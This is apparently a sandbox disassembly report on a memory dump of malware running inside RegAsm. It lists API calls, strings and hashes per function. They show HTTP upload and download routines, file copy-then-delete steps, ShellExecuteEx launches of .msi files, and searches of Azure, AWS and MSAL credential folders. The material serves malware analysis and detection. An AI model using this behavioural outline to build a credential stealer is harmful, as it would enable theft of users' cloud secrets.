XA, xrefs: 00405A0F, 004060B7, 00405A97, 00405AA0, 00405B0E, 00405B85, 00405C83, 00405DC4, 00405B11, 00405B88, 00405C86, 00405DC7
XA, xrefs: 004060CA
", xrefs: 00405D25
------, xrefs: 00405D9C
------, xrefs: 00405AE6
x), xrefs: 00405E3D
", xrefs: 00405E66
Xe, xrefs: 00405B90

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcatmemcpy$??2@AllocConnectCrackFileProcessReadSend
String ID: "$"$------$------$------$Xe$h($x)$XA$XA
API String ID: 1710586764-3798769828
Opcode ID: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction ID: fd4032899b6f210ca5ed4ade58f42d7f74ab7cfcec1a01a64090ede90c3e384c
Opcode Fuzzy Hash: 178c62c55e041f084d4565941ef0911009505f30f04abdce5e020c85204bc132
Instruction Fuzzy Hash: 4C123F71921118ABCB14EBA1DC95FEEB338BF14314F40419EF50662191EF782B99CF69

Function 0040A6C0 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 494
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040A9F2
RtlAllocateHeap.NTDLL(00000000), ref: 0040A9F9
CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00EBA9B8,00EBA9D8), ref: 0040A7DA

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EBAB18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

lstrcat.KERNEL32(?,00000000), ref: 0040AB3A
lstrcat.KERNEL32(?,004212C4), ref: 0040AB49
lstrcat.KERNEL32(?,00000000), ref: 0040AB5C
lstrcat.KERNEL32(?,004212C8), ref: 0040AB6B
lstrcat.KERNEL32(?,00000000), ref: 0040AB7E
lstrcat.KERNEL32(?,004212CC), ref: 0040AB8D
lstrcat.KERNEL32(?,00000000), ref: 0040ABA0
lstrcat.KERNEL32(?,004212D0), ref: 0040ABAF
lstrcat.KERNEL32(?,00000000), ref: 0040ABC2
lstrcat.KERNEL32(?,004212D4), ref: 0040ABD1
lstrcat.KERNEL32(?,00000000), ref: 0040ABE4
lstrcat.KERNEL32(?,004212D8), ref: 0040ABF3

Part of subcall function 00409E60: memcmp.MSVCRT ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrcat.KERNEL32(?,00000000), ref: 0040AC3C
lstrcat.KERNEL32(?,004212DC), ref: 0040AC56
lstrlenA.KERNEL32(?), ref: 0040AC95
lstrlenA.KERNEL32(?), ref: 0040ACA4
memset.MSVCRT ref: 0040ACF3

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

DeleteFileA.KERNEL32(00000000), ref: 0040AD1F

Strings

, xrefs: 0040A9CF

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpylstrlen$FileHeapmemset$AllocAllocateCopyDeleteLocalProcessmemcmp
String ID:
API String ID: 2228671196-2740779761
Opcode ID: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction ID: db3bf564d8a269597709baab17c241dc92c2864a2a44399f5d1cb95b81495e87
Opcode Fuzzy Hash: 3acddd8f0195151d5be52069155cafe268df4f25bafd4bbce6b8a0a53be5c866
Instruction Fuzzy Hash: 13029371901108ABCB14EBA1DC96EEE7339BF54314F10416EF507B20A1DF786E99CB6A

Function 004048D0 Relevance: 33.7, APIs: 11, Strings: 8, Instructions: 479
networkstringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00404965
StrCmpCA.SHLWAPI(?,00EC27D8), ref: 0040498A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404B0A
lstrlenA.KERNEL32(00000000,00000000,?,?,?,?,00420DC3,00000000,?,?,00000000,?,",00000000,?,00EC2848), ref: 00404E38
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00404E54
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00404E68
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 00404E99
InternetCloseHandle.WININET(00000000), ref: 00404EFD
InternetCloseHandle.WININET(00000000), ref: 00404F15
HttpOpenRequestA.WININET(00000000,00EC28B8,?,00EC1E98,00000000,00000000,00400100,00000000), ref: 00404B65

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

InternetCloseHandle.WININET(00000000), ref: 00404F1F

Strings

------, xrefs: 00404B78
H(, xrefs: 00404D5A
------, xrefs: 00404CB9
------, xrefs: 00404A0D
", xrefs: 00404D83
(, xrefs: 00404C19
", xrefs: 00404C42
Xe, xrefs: 00404AB7

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$HttpOpenRequestlstrcat$??2@ConnectCrackFileReadSend
String ID: "$"$------$------$------$H($Xe$(
API String ID: 594634378-604284918
Opcode ID: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction ID: 96828d9d4da3c69e3e13a7d192eb2c0d5cb14303612463eff3b0a86b38ab5adb
Opcode Fuzzy Hash: fd15cc926ce79e3abcebf76835f12988e02638eb8b5276e9b0a3a1adc5159e38
Instruction Fuzzy Hash: 7B124E71912118AACB14EB91DC96FEEB339AF14314F50419EF50662091EF782F98CF6A

Function 0040CD30 Relevance: 31.9, APIs: 21, Instructions: 374
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00EC0798,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(00000000,00000000,00000001,00000000,?,00000000,00EC1A00,00420B3E), ref: 0040CDC3
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040CF07
RtlAllocateHeap.NTDLL(00000000), ref: 0040CF0E
lstrcat.KERNEL32(?,00000000), ref: 0040D048
lstrcat.KERNEL32(?,0042141C), ref: 0040D057
lstrcat.KERNEL32(?,00000000), ref: 0040D06A
lstrcat.KERNEL32(?,00421420), ref: 0040D079
lstrcat.KERNEL32(?,00000000), ref: 0040D08C
lstrcat.KERNEL32(?,00421424), ref: 0040D09B
lstrcat.KERNEL32(?,00000000), ref: 0040D0AE
lstrcat.KERNEL32(?,00421428), ref: 0040D0BD
lstrcat.KERNEL32(?,00000000), ref: 0040D0D0
lstrcat.KERNEL32(?,0042142C), ref: 0040D0DF
lstrcat.KERNEL32(?,00000000), ref: 0040D0F2
lstrcat.KERNEL32(?,00421430), ref: 0040D101
lstrcat.KERNEL32(?,00000000), ref: 0040D114
lstrcat.KERNEL32(?,00421434), ref: 0040D123

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EBAB18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

lstrlenA.KERNEL32(?), ref: 0040D16A
lstrlenA.KERNEL32(?), ref: 0040D179
memset.MSVCRT ref: 0040D1C8

Part of subcall function 0041A440: StrCmpCA.SHLWAPI(00000000,00421414,0040CFE2,00421414,00000000), ref: 0041A45F

DeleteFileA.KERNEL32(00000000), ref: 0040D1F4

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcessSystemTimememset
String ID:
API String ID: 1973479514-0
Opcode ID: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction ID: ed6c437cbd46477d92e2fdf931dfcacd4144c719bc88927133304dc8b30d11c2
Opcode Fuzzy Hash: 41a76dfe5de7f52c684ee966f956115872ddcfdb722daab0a99ab0f6e96a6f2c
Instruction Fuzzy Hash: 25E1A271901108ABCB14EBA0DC9AEEE7339AF54314F50415EF507B30A1DF786E99CB6A

Function 00414850 Relevance: 30.1, APIs: 10, Strings: 10, Instructions: 119stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414867

Part of subcall function 00418880: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004188AB

lstrcat.KERNEL32(?,00000000), ref: 00414890
lstrcat.KERNEL32(?,\.azure\), ref: 004148AD

Part of subcall function 004143F0: wsprintfA.USER32 ref: 0041440C
Part of subcall function 004143F0: FindFirstFileA.KERNEL32(?,?), ref: 00414423

memset.MSVCRT ref: 004148F3
lstrcat.KERNEL32(?,00000000), ref: 0041491C
lstrcat.KERNEL32(?,\.aws\), ref: 00414939

Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FAC), ref: 00414451
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,00420FB0), ref: 00414467
Part of subcall function 004143F0: FindNextFileA.KERNEL32(000000FF,?), ref: 0041465D
Part of subcall function 004143F0: FindClose.KERNEL32(000000FF), ref: 00414672

memset.MSVCRT ref: 0041497F
lstrcat.KERNEL32(?,00000000), ref: 004149A8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 004149C5

Part of subcall function 004143F0: wsprintfA.USER32 ref: 00414490
Part of subcall function 004143F0: StrCmpCA.SHLWAPI(?,004208BA), ref: 004144A5
Part of subcall function 004143F0: wsprintfA.USER32 ref: 004144C2
Part of subcall function 004143F0: PathMatchSpecA.SHLWAPI(?,?), ref: 004144FE
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00EC27B8), ref: 0041452A
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FC8), ref: 0041453C
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414550
Part of subcall function 004143F0: lstrcat.KERNEL32(?,00420FCC), ref: 00414562
Part of subcall function 004143F0: lstrcat.KERNEL32(?,?), ref: 00414576

memset.MSVCRT ref: 00414A0B

Strings

\.azure\, xrefs: 004148A1
Azure\.aws, xrefs: 0041493F
\.IdentityService\, xrefs: 004149B9
Z\A, xrefs: 004148D1, 0041495D, 004149E9, 00414A14, 004148D4, 00414960, 004149EC
*.*, xrefs: 00414944
Azure\.IdentityService, xrefs: 004149CB
\.aws\, xrefs: 0041492D
*.*, xrefs: 004148B8
Azure\.azure, xrefs: 004148B3
msal.cache, xrefs: 004149D0

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$memset$Findwsprintf$FilePath$CloseFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$Z\A$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2615841231-156850865
Opcode ID: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction ID: 646ecaa1659512b06866923d8f1ff883aab6ee332b32f164b7e7d78f354b44b8
Opcode Fuzzy Hash: 974132d3907a12f0df6a38a863128c841180f23f20874baab723c8f046735834
Instruction Fuzzy Hash: C741FC75A4021867CB20F760EC4BFDD773C5B54704F404459B64AA60D2EEFC57C98BAA

Function 004062D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 0040483A
Part of subcall function 00404800: ??_U@YAPAXI@Z.MSVCRT ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

InternetOpenA.WININET(00420DE6,00000001,00000000,00000000,00000000), ref: 00406331
StrCmpCA.SHLWAPI(?,00EC27D8), ref: 00406353
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406385
HttpOpenRequestA.WININET(00000000,GET,?,00EC1E98,00000000,00000000,00400100,00000000), ref: 004063D5
InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 0040640F
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00406421
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 0040644D
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004064BD
InternetCloseHandle.WININET(00000000), ref: 0040653F
InternetCloseHandle.WININET(00000000), ref: 00406549
InternetCloseHandle.WININET(00000000), ref: 00406553

Strings

GET, xrefs: 004063CC
ERROR, xrefs: 00406519
ERROR, xrefs: 00406457

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHttp$OpenRequestlstrcpy$??2@ConnectCrackFileInfoOptionQueryReadSendlstrlen
String ID: ERROR$ERROR$GET
API String ID: 3871519372-2509457195
Opcode ID: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction ID: cbac5eee591d607aa173065357eefb87c001816e051c1cde1c99a9b9dc38779b
Opcode Fuzzy Hash: 6ad785f35fa68d3d8515b354bca9dde49f25453516272547c66f8ce85164f282
Instruction Fuzzy Hash: AA719F71A00218EBDB24DFA0DC49FEEB775AF44704F1080AAF50A6B1D0DBB86A85CF55

Function 00414FF0 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A1F0: lstrlenA.KERNEL32(00000000,?,?,00415634,00420AC3,00420AC2,?,?,004165B6,00000000,?,00EBAB18,?,004210DC,?,00000000), ref: 0041A1FB
Part of subcall function 0041A1F0: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A255

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415124
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415181
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00415337

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00414CD0: StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00414D08

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00414DA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00414DF8
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E0F
Part of subcall function 00414DA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00414E44
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E63
Part of subcall function 00414DA0: strtok.MSVCRT ref: 00414E7E
Part of subcall function 00414DA0: lstrlenA.KERNEL32(00000000), ref: 00414E8E

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041526B
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00415420
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004154EC
Sleep.KERNEL32(0000EA60), ref: 004154FB

Strings

ERROR, xrefs: 004154DE
ERROR, xrefs: 00415116
ERROR, xrefs: 00415412
ERROR, xrefs: 0041525D
ERROR, xrefs: 00415173
ERROR, xrefs: 00415329

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$Sleepstrtok
String ID: ERROR$ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3630751533-2791005934
Opcode ID: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction ID: 47717806d02ab2b23084bb80b202f8eeb65c1f88a6bcad5d58c416e3f74fe27f
Opcode Fuzzy Hash: bf98e0ed572dcf36378be383e1e9b853d5fe1dcc41b170c68f2471da1b8c4d55
Instruction Fuzzy Hash: 1FE1A671901104AACB14FBB1EC57EED7339AF94314F40852EB40666192EF3C6B9DCB9A

Function 00412940 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

ShellExecuteEx.SHELL32(0000003C), ref: 00412CD5
ShellExecuteEx.SHELL32(0000003C), ref: 00412E6D
ShellExecuteEx.SHELL32(0000003C), ref: 00412FFA

Strings

.msi, xrefs: 00412EA8
"" , xrefs: 00412BAA
